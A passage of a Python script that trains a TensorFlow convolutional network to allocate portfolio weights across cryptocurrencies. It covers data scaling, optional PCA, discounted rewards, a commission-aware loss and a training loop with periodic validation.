'IOTA']\r\n#COINS = ['USD', 'IOTA', 'EOS']\r\n# List of coins data to use as input variables. Set to [] to use all coins\r\n#--------------------------------------------------------------------------------------\r\nINPUT_COINS = []\r\nN_CHANNEL = 3# + (1 if INCLUDE_VOLUME else 0)\r\nN_COINS = len(COINS)#( len(COINS) * 2 - 1 ) if ALLOW_SHORTS else len(COINS)\r\n#--------------------------------------------------------------------------------------\r\n# Create fields to store \"Previous Weights\" - Only needed when commission is > 0\r\n#--------------------------------------------------------------------------------------\r\nPORT_W = []\r\nif COMMISSION > 0:\r\n PORT_W.append('MARGIN_USD')\r\n data[\"MARGIN_USD\"] = 1\r\n for i, a in enumerate(sorted(COINS)):\r\n data[\"MARGIN_{}\".format(a)] = 1 if a == \"USD\" else 0\r\n if \"MARGIN_{}\".format(a) not in PORT_W:\r\n PORT_W.append(\"MARGIN_{}\".format(a))\r\n if ALLOW_SHORTS:\r\n for i, a in enumerate(sorted(COINS)):\r\n if a in [\"USD\", \"USDT\"]:\r\n continue\r\n data[\"MARGIN_{}_S\".format(a)] = 0\r\n\r\nif ALLOW_SHORTS:\r\n x = list(PORT_W)\r\n for asset in x[1:]:\r\n PORT_W.append(asset+\"_S\")\r\n#--------------------------------------------------------------------------------------\r\n# Create a list of X column names to use for modelling\r\n#--------------------------------------------------------------------------------------\r\nin_cols = []\r\nfor c in data.columns:\r\n if INPUT_COINS == []:\r\n in_cols.append(c)\r\n else:\r\n for a in set(INPUT_COINS):\r\n if a in c:\r\n in_cols.append(c)\r\n\r\nCOLS_X = []\r\nfor x in in_cols:\r\n if \"L_\" in x or \"L2_\" in x or \"REG\" in x:\r\n if \"VOLUME\" in x and INCLUDE_VOLUME == False:\r\n continue\r\n COLS_X.append(x)\r\nif COMMISSION != 0:\r\n COLS_X += PORT_W\r\n#--------------------------------------------------------------------------------------\r\n# Create a list of Y column names to use for modelling\r\n#--------------------------------------------------------------------------------------\r\n\r\nCOLS_Y = [\"reward_USD\"]\r\nfor c in data.columns:\r\n added = False\r\n if 'reward' in c and 'USD' not in c:\r\n if COINS == []:\r\n COLS_Y += [c]\r\n added = True\r\n else:\r\n for a in set(COINS):\r\n if a in c:\r\n COLS_Y += [c]\r\n added = True\r\n if added:\r\n data[c+\"_S\"] = data[c].apply(lambda x : math.log10(2-10**x))\r\nif ALLOW_SHORTS:\r\n COLS_Y += [\"{}_S\".format(y) for y in COLS_Y[1:]]\r\n#--------------------------------------------------------------------------------------\r\n# Normalizing the X columns. Scale using training data only\r\n#--------------------------------------------------------------------------------------\r\nprint(\"Normalizing Data...\", end=\"\")\r\n#for x in COLS_X:\r\n #print(\"Finding Median: {}\".format(x))\r\n #median = data[SAVE_IDX:][x].describe()[5]\r\n #print(\"Applying Median: {}\".format(x))\r\n #data[x].fillna(median,inplace=True)\r\n #data[x] = data[x].apply(lambda x : median if np.isinf(x) or np.isnan(x) else x)\r\nscaler = sklearn.preprocessing.StandardScaler()\r\nprint(\"Fitting Scaler: {}\".format(len(COLS_X)))\r\nscaler.fit( data[:IDX_MAX+BATCH_SZ_MAX] [COLS_X] )\r\nprint(\"Using Scaler: {}\".format(len(COLS_X)))\r\ndata[COLS_X] = scaler.transform(data[COLS_X])\r\nif SAVE_MODELS:\r\n live_scaler = sklearn.preprocessing.StandardScaler()\r\n live_scaler.fit( data[SAVE_IDX:] [COLS_X] )\r\n save_memory(live_scaler, TRADING_PATH+\"/Scaler.save\")\r\n save_memory(COLS_X, TRADING_PATH+\"/COLS_X_ORIG.save\")\r\nprint(\"Done\")\r\n#--------------------------------------------------------------------------------------\r\n# Apply PCA if set to True. Principle Components calculated using training data only\r\n#--------------------------------------------------------------------------------------\r\nif USE_PCA:\r\n\r\n print(\"PCA...\",end=\"\")\r\n PCA_MODEL = sklearn.decomposition.PCA(PCA_COMPONENTS)\r\n PCA_MODEL.fit(data[:IDX_MAX+BATCH_SZ_MAX][COLS_X])\r\n Xs = pd.DataFrame(PCA_MODEL.transform(data[COLS_X]))\r\n \r\n Xs.columns = [\"PCA_\"+str(x) for x in range(1,len(Xs.columns)+1)]\r\n data[Xs.columns] = Xs\r\n COLS_X = list(Xs.columns) + (PORT_W if COMMISSION != 0 else [])\r\n \r\n if SAVE_MODELS:\r\n live_pca = sklearn.decomposition.PCA(PCA_COMPONENTS)\r\n live_pca.fit( data[SAVE_IDX:] [COLS_X] )\r\n save_memory(live_pca, TRADING_PATH+\"/PCA.save\")\r\n\r\n# print(PCA_MODEL.explained_variance_)\r\n# print(PCA_MODEL.explained_variance_ratio_)\r\n print(\"Done\")\r\n print(\"Variance explained: {}\".format(100*PCA_MODEL.explained_variance_ratio_.cumsum()[-1]))\r\n#--------------------------------------------------------------------------------------\r\n# Generate Supervised Learning Predictions if set to True. This does not work for now\r\n#--------------------------------------------------------------------------------------\r\nif USE_SUPER:\r\n pass\r\n '''training = data[:IDX_MAX]\r\n cols_to_add = []\r\n for target in COLS_Y:\r\n model = sklearn.ensemble.RandomForestRegressor()\r\n model.fit(training[COLS_X], training[target])\r\n newcol = \"RF_{}\".format(target)\r\n data[newcol] = model.predict(data[COLS_X])\r\n cols_to_add.append(newcol)\r\n COLS_X += cols_to_add'''\r\n \r\n#--------------------------------------------------------------------------------------\r\n# Transform rewards into discounted reward if enabled. \"data\" uses transformed \r\n# rewards, \"data_imm\" uses raw, un-modified reward.\r\n#--------------------------------------------------------------------------------------\r\nif DISCOUNT:\r\n data_imm = data.copy()\r\n stmt = \"data[COLS_Y] = data[COLS_Y]\"\r\n for ahead in range(1,DISCOUNT_STEPS+1):\r\n stmt += \"+(GAMMA**{}) * data[COLS_Y].shift({})\".format(ahead, -ahead)\r\n print(\"Calculating Discount Rewards...\", end=\"\")\r\n exec(stmt)\r\n print(\"Done\")\r\nelse:\r\n data_imm = data.copy()\r\n\r\ndata = data.dropna(axis=0, how='any').reset_index(drop=True)\r\nif DISCOUNT:\r\n data_imm = data_imm[:-DISCOUNT_STEPS]\r\n \r\n#for c in COLS_Y:\r\n# data[c] = data[c] - math.log10(1.004)\r\n#data[\"reward_USD\"] = 0\r\n \r\nN_IN = len(COLS_X)\r\nN_OUT = len(COLS_Y)\r\n\r\nif SAVE_MODELS:\r\n save_memory(COLS_X, TRADING_PATH+\"/COLS_X.save\")\r\n save_memory(COLS_Y, TRADING_PATH+\"/COLS_Y.save\")\r\n\r\n#--------------------------------------------------------------------------------------\r\n# \r\n# NEURAL NETWORK DESIGN\r\n#\r\n#--------------------------------------------------------------------------------------\r\n \r\nX2 = []\r\nfor x in COLS_X:\r\n \r\n channel_rank = 100\r\n if \"L_LOW\" in x:\r\n channel_rank = 0\r\n if \"L_CLOSE\" in x:\r\n channel_rank = 1\r\n if \"L_HIGH\" in x:\r\n channel_rank = 2\r\n \r\n if \"L2_LOW\" in x:\r\n channel_rank = 3\r\n if \"L2_CLOSE\" in x:\r\n channel_rank = 4\r\n if \"L2_HIGH\" in x:\r\n channel_rank = 5\r\n \r\n if \"L_VOLUME\" in x:\r\n channel_rank = 6\r\n if \"L2_VOLUME\" in x:\r\n channel_rank = 7\r\n \r\n \r\n if \"REG_CLOSE\" in x:\r\n channel_rank = 8\r\n if \"REG_VOLUME\" in x:\r\n channel_rank = 9\r\n \r\n S_COINS = sorted(COINS)\r\n coin_rank = -1\r\n for i, c in enumerate(S_COINS):\r\n if x.endswith(c):\r\n coin_rank = i\r\n break\r\n \r\n lag_rank = 100\r\n try:\r\n lag_rank = int(\"\".join([ch for ch in x if ch in '0123456789']))\r\n if pattern_match(\"L2?_(LOW|CLOSE|HIGH|VOLUME)\", x):\r\n lag_rank *= -1\r\n except:\r\n pass\r\n if coin_rank < 0:\r\n continue\r\n X2.append( (coin_rank, lag_rank, channel_rank, x) )\r\n \r\nN_LAGS = 30\r\nX2.sort(key = lambda x : (x[0], x[1], x[2]))\r\n\r\nVOL_TENSOR = [x[-1] for x in X2 if 6 <= x[2] <= 6]\r\nVOL_TENSOR2 = [x[-1] for x in X2 if 7 <= x[2] <= 7]\r\nPRICE_TENSOR = [x[-1] for x in X2 if 0 <= x[2] <= 2]\r\nPRICE_TENSOR2 = [x[-1] for x in X2 if 3 <= x[2] <= 5]\r\nREG_TENSOR = [x[-1] for x in X2 if 8 <= x[2] <= 9]\r\n\r\n\r\n# Input / Output place holders\r\nX = tf.placeholder(tf.float32, [None, N_IN])\r\nX = tf.reshape(X, [-1, N_IN])\r\n# PrevW\r\nPREV_W = tf.placeholder(tf.float32, [None, N_OUT])\r\n# Actual Rewards\r\nY_ = tf.placeholder(tf.float32, [None, N_OUT])\r\n#--------------------------------------------------------------------------------------\r\n# Define hidden layers\r\n#--------------------------------------------------------------------------------------\r\n\r\nh_1 = 1\r\nw_1 = 3\r\nCH_OUT_1 = 1\r\nFILTER1 = [h_1, w_1, N_CHANNEL, CH_OUT_1] # Filter 1 x 3 x 3, Input has 4 channels\r\n\r\nFILTERV = [h_1, w_1, 1, CH_OUT_1]\r\n\r\nh_2 = 1\r\nw_2 = N_LAGS - w_1 + 1\r\nCH_OUT_2 = 4\r\nFILTER2 = [h_2, w_2, CH_OUT_1*1, CH_OUT_2]\r\n\r\nh_3 = 1\r\nw_3 = 1\r\nCH_OUT_3 = 1\r\nFILTER3 = [h_3, w_3, CH_OUT_2, CH_OUT_3]\r\n\r\nSDEV = 1\r\nBIAS_MULT = 0\r\n\r\nX_PRICE_TENSOR = tf.placeholder(tf.float32, [None, N_COINS-1, N_LAGS, N_CHANNEL])\r\nX_PRICE_TENSOR2 = tf.placeholder(tf.float32, [None, N_COINS-1, N_LAGS, N_CHANNEL])\r\n\r\nX_VOL_TENSOR = tf.placeholder(tf.float32, [None, N_COINS-1, N_LAGS, 1])\r\nX_VOL_TENSOR2 = tf.placeholder(tf.float32, [None, N_COINS-1, N_LAGS, 1])\r\n\r\n#CW1Z = tf.Variable(tf.random_normal([N_COINS-1,2,N_CHANNEL,N_CHANNEL], stddev = SDEV))\r\n#CB1Z = tf.Variable(tf.random_normal([N_CHANNEL], stddev = SDEV))\r\n#CL1Z = tf.nn.relu(tf.nn.conv2d(X_PRICE_TENSOR, CW1Z, [1,1,1,1], padding=\"SAME\") + CB1Z * BIAS_MULT)\r\n\r\nCW1A = tf.Variable(tf.random_normal(FILTER1, stddev = SDEV))\r\nCB1A = tf.Variable(tf.random_normal([CH_OUT_1], stddev = SDEV))\r\nCL1A = tf.nn.relu(tf.nn.conv2d(X_PRICE_TENSOR, CW1A, [1,1,1,1], padding=\"VALID\") + CB1A * BIAS_MULT)\r\n'''\r\nCW1B = tf.Variable(tf.random_normal(FILTER1, stddev = SDEV))\r\nCB1B = tf.Variable(tf.random_normal([CH_OUT_1], stddev = SDEV))\r\nCL1B = tf.nn.relu(tf.nn.conv2d(X_PRICE_TENSOR2, CW1B, [1,1,1,1], padding=\"VALID\") + CB1B * BIAS_MULT)\r\n\r\nCW1C = tf.Variable(tf.random_normal(FILTERV, stddev = SDEV))\r\nCB1C = tf.Variable(tf.random_normal([CH_OUT_1], stddev = SDEV))\r\nCL1C = tf.nn.relu(tf.nn.conv2d(X_VOL_TENSOR, CW1C, [1,1,1,1], padding=\"VALID\") + CB1C * BIAS_MULT)\r\n\r\nCW1D = tf.Variable(tf.random_normal(FILTERV, stddev = SDEV))\r\nCB1D = tf.Variable(tf.random_normal([CH_OUT_1], stddev = SDEV))\r\nCL1D = tf.nn.relu(tf.nn.conv2d(X_VOL_TENSOR2, CW1D, [1,1,1,1], padding=\"VALID\") + CB1D * BIAS_MULT)'''\r\n\r\n#CL2 = tf.concat([CL1A, CL1B, CL1C, CL1D], -1)\r\n#CL2 = tf.concat([CL1A, CL1B, CL1C], -1)\r\n\r\n#tf_mean = tf.Variable(0.0)\r\n#tf_var = tf.Variable(1.0)\r\n#CL2 = tf.nn.batch_normalization(CL1A, tf_mean, tf_var, None, None, variance_epsilon=1e-6)\r\n\r\nCL2 = CL1A\r\n#CL2 = tf.concat([tf.nn.batch_normalization(CL1A, tf_mean1, tf_var1, None, None, 1e-6),\\\r\n# tf.nn.batch_normalization(CL1B, tf_mean2, tf_var2, None, None, 1e-6),\r\n# tf.nn.batch_normalization(CL1C, tf_mean3, tf_var3, None, None, 1e-6)], -1)\r\n# Shape is N_COINS x (LAGS - 2) x 6\r\n\r\nCW3 = tf.Variable(tf.random_normal(FILTER2, stddev = SDEV))\r\nCB3 = tf.Variable(tf.random_normal([CH_OUT_2], stddev = SDEV))\r\nCL3 = tf.nn.relu(tf.nn.conv2d(CL2, CW3, [1,1,1,1], padding=\"VALID\") + CB3 * BIAS_MULT)\r\n#CL3 = tf.concat([CL3, tf.reshape(PREV_W[:,1:], (-1,N_COINS-1,1,1))], -1)\r\n# Shape is N_COINS x 1 x 30\r\n\r\nCW4 = tf.Variable(tf.random_normal(FILTER3, stddev = SDEV))\r\nCL4A = tf.nn.relu(tf.nn.conv2d(CL3, CW4, [1,1,1,1], padding=\"SAME\"))\r\nCL4 = tf.reshape( CL4A, (-1, N_COINS-1) )\r\n\r\n#tf_mean = tf.Variable(0.0)\r\n#tf_var = tf.Variable(1.0)\r\n#CL4 = tf.nn.batch_normalization(CL4, tf_mean, tf_var, None, None, variance_epsilon=1e-6)\r\n\r\nfc_w = tf.Variable(tf.random_normal([N_COINS-1, N_OUT], stddev = SDEV), trainable=True)\r\nfc_b = tf.Variable(tf.random_normal([N_OUT], stddev = SDEV), trainable=True)\r\n\r\ncnn_keep_prob = tf.Variable(0.85, trainable=False)\r\nfc_w_dropped = tf.nn.dropout(fc_w, cnn_keep_prob)\r\n\r\nY_scores = tf.matmul(CL4, fc_w_dropped)# + fc_b * BIAS_MULT\r\nY = tf.nn.softmax(Y_scores)\r\n\r\ncnn_lambda_reg = 0.00000001\r\n\r\n#reg_losses = tf.nn.l2_loss(CW1A) + tf.nn.l2_loss(CW1B) + tf.nn.l2_loss(CW1C)# + tf.nn.l2_loss(CW1D)\r\n#reg_losses += tf.nn.l2_loss(CW3) + tf.nn.l2_loss(CW4) + tf.nn.l2_loss(fc_w)\r\n\r\nreg_losses = tf.nn.l2_loss(CW1A) + tf.nn.l2_loss(CW3) + tf.nn.l2_loss(CW4) + 4*tf.nn.l2_loss(fc_w)\r\n\r\n#USD_BIAS = tf.Variable(tf.random_normal([1], stddev = SDEV))\r\n#CL5 = tf.concat([USD_BIAS, CL4], axis=0)\r\n#Y2 = tf.nn.softmax(CL4)\r\n# Shape is N_COINS x 1 x 30\r\n'''\r\n# Define number of Neurons per layer\r\nK = 100 # Layer 1\r\nL = 100 # Layer 2\r\nM = 100 # Layer 3\r\nN = 100 # Layer 4\r\n\r\n# LAYER 1\r\nW1 = tf.Variable(tf.random_normal([N_IN, K], stddev = SDEV))\r\nB1 = tf.Variable(tf.random_normal([K], stddev = SDEV))\r\n\r\n# LAYER 2\r\nW2 = tf.Variable(tf.random_normal([K, L], stddev = SDEV))\r\nB2 = tf.Variable(tf.random_normal([L], stddev = SDEV))\r\n\r\n# LAYER 3\r\nW3 = tf.Variable(tf.random_normal([L, M], stddev = SDEV))\r\nB3 = tf.Variable(tf.random_normal([M], stddev = SDEV))\r\n\r\n# LAYER 4\r\nW4 = tf.Variable(tf.random_normal([M, N_OUT], stddev = SDEV))\r\nB4 = tf.Variable(tf.random_normal([N_OUT], stddev = SDEV))\r\n\r\n#reg_losses = tf.nn.l2_loss(W1) + tf.nn.l2_loss(W2) + tf.nn.l2_loss(W3)\r\n#reg_losses += tf.nn.l2_loss(B1) + tf.nn.l2_loss(B2) + tf.nn.l2_loss(B3)\r\n\r\n# Magic number is around 0.0001\r\nlambda_reg = 0.000001\r\n\r\n#--------------------------------------------------------------------------------------\r\n# Define Computation Graph\r\n#--------------------------------------------------------------------------------------\r\n# Feed forward. Output of previous is input to next\r\n# Activation function for final layer is Softmax for portfolio weights in the range [0,1]\r\nH1 = tf.nn.relu(tf.matmul(X, W1) + B1)\r\nDH1 = tf.nn.dropout(H1, 0.95)\r\nH2 = tf.nn.relu(tf.matmul(DH1, W2) + B2)\r\nDH2 = tf.nn.dropout(H2, 0.9)\r\nbn_mean = tf.Variable(0.0)\r\nbn_dev = tf.Variable(1.0)\r\nDH2 = tf.nn.batch_normalization(DH2, bn_mean, bn_dev, None, None, 1e-6)\r\nH3 = tf.nn.relu(tf.matmul(DH2, W3) + B3)\r\nDH3 = tf.nn.dropout(H3, 0.85)\r\n#Y = tf.nn.softmax(tf.matmul(DH3, W4) + B4)\r\n#Y_MAX = tf.sign(Y - tf.reduce_max(Y,axis=1,keep_dims=True)) + 1'''\r\n#--------------------------------------------------------------------------------------\r\n# Define Loss Function\r\n#--------------------------------------------------------------------------------------\r\nif COMMISSION == 0:\r\n weight_moves = tf.reduce_mean(tf.reduce_sum(tf.abs(Y[1:] - Y[:-1]), axis=1))\r\n tensor_rwds = tf.log (10**tf.reduce_sum(Y * Y_, axis=1) )\r\n reward = tf.reduce_sum(tensor_rwds)\r\n loss = -tf.reduce_mean( tensor_rwds ) + cnn_lambda_reg * reg_losses\r\nelse:\r\n weight_moves = tf.reduce_mean(tf.reduce_sum(tf.abs(Y[1:] - Y[:-1]), axis=1))\r\n tensor_rwds = tf.log (tf.reduce_sum( ( 1-COMMISSION*tf.abs(Y-PREV_W) ) * (Y * 10**Y_), axis=1))\r\n reward = tf.reduce_sum( tensor_rwds )\r\n loss = -tf.reduce_mean( tensor_rwds )# + lambda_reg * reg_losses\r\n\r\ntf.summary.scalar(\"loss\",loss)\r\n#tf.summary.scalar(\"tensor_rwds\",[tensor_rwds])\r\nsummary_op = tf.summary.merge_all()\r\n\r\nLR_START = 0.0001\r\nLR_END = 0.00005\r\nLR_DECAY = 0.999\r\n\r\n# Optimizer\r\nLEARNING_RATE = tf.Variable(LR_START)\r\noptimizer = tf.train.AdamOptimizer(LEARNING_RATE)\r\ntrain_step = optimizer.minimize(loss)\r\n\r\ntest_imm = data_imm.iloc[len(data_imm)-TEST_LEN:, :].reset_index(drop=True)\r\ntest_dat = data.iloc[len(data)-TEST_LEN:, :].reset_index(drop=True)\r\n\r\nfeed_dat = {X: np.reshape(test_dat[COLS_X], (-1,N_IN)), \r\n Y_: np.reshape(test_dat[COLS_Y], (-1, N_OUT))}\r\n \r\nfeed_imm = {X: np.reshape(test_imm[COLS_X], (-1,N_IN)), \r\n Y_: np.reshape(test_imm[COLS_Y], (-1, N_OUT))}\r\n\r\n\r\n# === Tensorboard - start-0 === #\r\n# Create a summary to monitor cost tensor\r\ntf.summary.scalar(\"loss\",loss)\r\n# Create a summary to monitor rewards tensor\r\ntf.summary.scalar(\"reward\",reward)\r\n#tf.summary.scalar(\"tensor_rwds\",[tensor_rwds])\r\n# Merge all summaries into a single op\r\nsummary_op = tf.summary.merge_all()\r\n# === Tensorboard - end-0 === #\r\n\r\ninit = tf.global_variables_initializer()\r\nsess = tf.Session()\r\nsess.run(init)\r\n\r\n# === Tensorboard - start-1 === #\r\n# op to write logs to Tensorboard\r\nwriter = tf.summary.FileWriter(LOG_PATH,graph=tf.get_default_graph()) #sess.graph ?\r\n\r\ndat_rwds, imm_rwds, dat_losses, imm_losses = [], [], [], []\r\nprint(\"Begin Learning...\")\r\n#---------------------------------------------------------------------------------------------------\r\nfor epoch in range(100000):\r\n \r\n new_lr = max(LR_DECAY**epoch*LR_START, LR_END)\r\n \r\n # Measure loss on validation set every 100 epochs\r\n if epoch % 20 == 0:\r\n \r\n update_drop_rt = tf.assign(cnn_keep_prob, 1)\r\n sess.run(update_drop_rt)\r\n \r\n if COMMISSION != 0:\r\n prev_weights = [[1 if idx == 0 else 0 for idx in range(N_OUT)]]\r\n stime = time.time()\r\n test_dat.at[0,PORT_W] = prev_weights[-1]\r\n test_imm.at[0,PORT_W] = prev_weights[-1]\r\n b_x = np.reshape(test_dat[COLS_X], (-1,N_IN))\r\n b_y = np.reshape(test_dat[COLS_Y], (-1,N_OUT))\r\n pr_tens1 = np.reshape(np.array(test_dat[PRICE_TENSOR]), (-1, N_COINS-1, N_LAGS, N_CHANNEL))\r\n pr_tens2 = np.reshape(np.array(test_dat[PRICE_TENSOR2]),(-1, N_COINS-1, N_LAGS, N_CHANNEL))\r\n v_tens1 = np.reshape(np.array(test_dat[VOL_TENSOR]), (-1, N_COINS-1, N_LAGS, 1))\r\n v_tens2 = np.reshape(np.array(test_dat[VOL_TENSOR2]),(-1, N_COINS-1, N_LAGS, 1))\r\n #---------------------------------------------------------\r\n for r in range(len(test_dat) - 1):\r\n\r\n feed_row = {X: np.reshape(np.array(b_x.iloc[r,:]), (-1,N_IN)),\r\n \r\n Y_: np.reshape(np.array(b_y.iloc[r,:]), (-1,N_OUT)),\r\n \r\n PREV_W: np.reshape(prev_weights[-1], (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : pr_tens1[r].reshape(-1,N_COINS-1,N_LAGS,N_CHANNEL),\r\n \r\n X_PRICE_TENSOR2 : pr_tens2[r].reshape(-1,N_COINS-1,N_LAGS,N_CHANNEL),\r\n \r\n X_VOL_TENSOR : v_tens1[r].reshape(-1,N_COINS-1,N_LAGS,1),\r\n \r\n X_VOL_TENSOR2 : v_tens2[r].reshape(-1,N_COINS-1,N_LAGS,1)\r\n }\r\n \r\n weights, y_vec = sess.run([Y, Y_], feed_dict=feed_row)\r\n y_vec_10 = (weights * 10 ** y_vec)\r\n w = y_vec_10 / np.sum(y_vec_10)\r\n prev_weights.append(w[0])\r\n \r\n b_x.at[r+1,PORT_W] = w[0]\r\n test_dat.at[r+1,PORT_W] = w[0]\r\n test_imm.at[r+1,PORT_W] = w[0]\r\n #print(r / (time.time() - stime))\r\n #---------------------------------------------------------\r\n \r\n feed_dat = {X: np.reshape(test_dat[COLS_X], (-1, N_IN)), \r\n Y_: np.reshape(test_dat[COLS_Y], (-1, N_OUT)),\r\n PREV_W: np.reshape(prev_weights, (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : np.reshape(np.array(test_dat[PRICE_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_PRICE_TENSOR2 : np.reshape(np.array(test_dat[PRICE_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_VOL_TENSOR : np.reshape(np.array(test_dat[VOL_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, 1)),\r\n \r\n X_VOL_TENSOR2 : np.reshape(np.array(test_dat[VOL_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, 1))\r\n }\r\n \r\n feed_imm = {X: np.reshape(test_imm[COLS_X], (-1, N_IN)), \r\n Y_: np.reshape(test_imm[COLS_Y], (-1, N_OUT)),\r\n PREV_W: np.reshape(prev_weights, (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : np.reshape(np.array(test_imm[PRICE_TENSOR]), \r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_PRICE_TENSOR2 : np.reshape(np.array(test_imm[PRICE_TENSOR2]), \r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_VOL_TENSOR : np.reshape(np.array(test_imm[VOL_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, 1)),\r\n \r\n X_VOL_TENSOR2 : np.reshape(np.array(test_imm[VOL_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, 1))\r\n }\r\n else:\r\n feed_dat = {X: np.reshape(test_dat[COLS_X], (-1, N_IN)), \r\n Y_: np.reshape(test_dat[COLS_Y], (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : np.reshape(np.array(test_dat[PRICE_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_PRICE_TENSOR2 : np.reshape(np.array(test_dat[PRICE_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_VOL_TENSOR : np.reshape(np.array(test_dat[VOL_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, 1)),\r\n \r\n X_VOL_TENSOR2 : np.reshape(np.array(test_dat[VOL_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, 1))\r\n }\r\n \r\n feed_imm = {X: np.reshape(test_imm[COLS_X], (-1, N_IN)), \r\n Y_: np.reshape(test_imm[COLS_Y], (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : np.reshape(np.array(test_imm[PRICE_TENSOR]), \r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_PRICE_TENSOR2 : np.reshape(np.array(test_imm[PRICE_TENSOR2]), \r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_VOL_TENSOR : np.reshape(np.array(test_imm[VOL_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, 1)),\r\n \r\n X_VOL_TENSOR2 : np.reshape(np.array(test_imm[VOL_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, 1))\r\n }\r\n d_rwd, d_loss = sess.run([reward, loss], feed_dict=feed_dat)\r\n i_rwd, i_loss = sess.run([reward, loss], feed_dict=feed_imm)\r\n \r\n dat_rwds.append(math.exp(d_rwd))\r\n imm_rwds.append(math.exp(i_rwd))\r\n dat_losses.append(d_loss)\r\n imm_losses.append(i_loss)\r\n print(\"Epoch {:<9} Loss: {:<12.6f} {:<12.6f} Reward: {:<12.6f} {:<12.6f}\".format\\\r\n (epoch, dat_losses[-1], dat_losses[-1], dat_rwds[-1], imm_rwds[-1]))\r\n\r\n #-----------------------------------------------------------------\r\n \r\n update_drop_rt = tf.assign(cnn_keep_prob, 0.99 + 0.01 * random.random())\r\n sess.run(update_drop_rt)\r\n \r\n idx = int(round(random.random()**0.5*IDX_MAX))\r\n batch_sz = random.randint(BATCH_SZ_MIN, BATCH_SZ_MAX)\r\n sub_data = data.iloc[idx:idx+batch_sz, :].reset_index(drop=True)\r\n sub_data = data.iloc[:IDX_MAX,:]\r\n #sub_data = data.iloc[IDX_MAX:,:].reset_index(drop=True)\r\n #sub_data = sub_data.sample(batch_sz).reset_index(drop=True)\r\n #sub_data = test_dat\r\n batch_X, batch_Y = (sub_data[COLS_X], sub_data[COLS_Y])\r\n \r\n if COMMISSION != 0:\r\n prev_weights = []\r\n rand = np.random.random(N_OUT)\r\n rand /= rand.sum()\r\n prev_weights.append(rand)\r\n batch_X.at[0,PORT_W] = prev_weights[-1]\r\n b_x = np.reshape(batch_X, (-1,N_IN))\r\n b_y = np.reshape(batch_Y, (-1,N_OUT))\r\n pr_tens1 = np.reshape(np.array(b_x[PRICE_TENSOR]), (len(b_x), N_COINS-1, N_LAGS, N_CHANNEL))\r\n pr_tens2 = np.reshape(np.array(b_x[PRICE_TENSOR2]),(len(b_x), N_COINS-1, N_LAGS, N_CHANNEL))\r\n v_tens1 = np.reshape(np.array(b_x[VOL_TENSOR]), (-1, N_COINS-1, N_LAGS, 1))\r\n v_tens2 = np.reshape(np.array(b_x[VOL_TENSOR2]),(-1, N_COINS-1, N_LAGS, 1))\r\n for r in range(len(batch_X) - 1):\r\n if random.random() < 0.03:\r\n rand = np.random.random(N_OUT)\r\n rand /= rand.sum()\r\n prev_weights.append(rand)\r\n b_x.at[r+1,PORT_W] = rand\r\n else:\r\n feed_row = {X: np.reshape(np.array(b_x.iloc[r,:]), (-1,N_IN)),\r\n \r\n Y_: np.reshape(np.array(b_y.iloc[r,:]), (-1,N_OUT)),\r\n \r\n PREV_W: np.reshape(prev_weights[-1], (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : pr_tens1[r].reshape(-1,N_COINS-1,N_LAGS,N_CHANNEL),\r\n \r\n X_PRICE_TENSOR2 : pr_tens2[r].reshape(-1,N_COINS-1,N_LAGS,N_CHANNEL),\r\n \r\n X_VOL_TENSOR : v_tens1[r].reshape(-1,N_COINS-1,N_LAGS,1),\r\n \r\n X_VOL_TENSOR2 : v_tens2[r].reshape(-1,N_COINS-1,N_LAGS,1)\r\n }\r\n weights, y_vec = sess.run([Y, Y_], feed_dict=feed_row)\r\n w = (weights * 10** y_vec) / np.sum(weights * 10 ** y_vec)\r\n prev_weights.append(w[0])\r\n b_x.at[r+1,PORT_W] = w[0]\r\n \r\n batch_X = b_x\r\n train_data = {X: np.reshape(batch_X, (-1,N_IN)), \r\n Y_: np.reshape(batch_Y, (-1,N_OUT)),\r\n PREV_W: np.reshape(prev_weights, (-1, N_OUT)),\r\n \r\n X_PRICE_TENSOR : np.reshape(np.array(batch_X[PRICE_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_PRICE_TENSOR2 : np.reshape(np.array(batch_X[PRICE_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_VOL_TENSOR : np.reshape(np.array(batch_X[VOL_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, 1)),\r\n \r\n X_VOL_TENSOR2 : np.reshape(np.array(batch_X[VOL_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, 1))\r\n \r\n }\r\n \r\n else:\r\n train_data = {X: np.reshape(batch_X, (-1,N_IN)), \r\n Y_: np.reshape(batch_Y, (-1,N_OUT)),\r\n \r\n X_PRICE_TENSOR : np.reshape(np.array(batch_X[PRICE_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_PRICE_TENSOR2 : np.reshape(np.array(batch_X[PRICE_TENSOR2]), \\\r\n (-1, N_COINS-1, N_LAGS, N_CHANNEL)),\r\n \r\n X_VOL_TENSOR : np.reshape(np.array(batch_X[VOL_TENSOR]), \\\r\n (-1, N_COINS-1, N_LAGS, 1)),\r\n 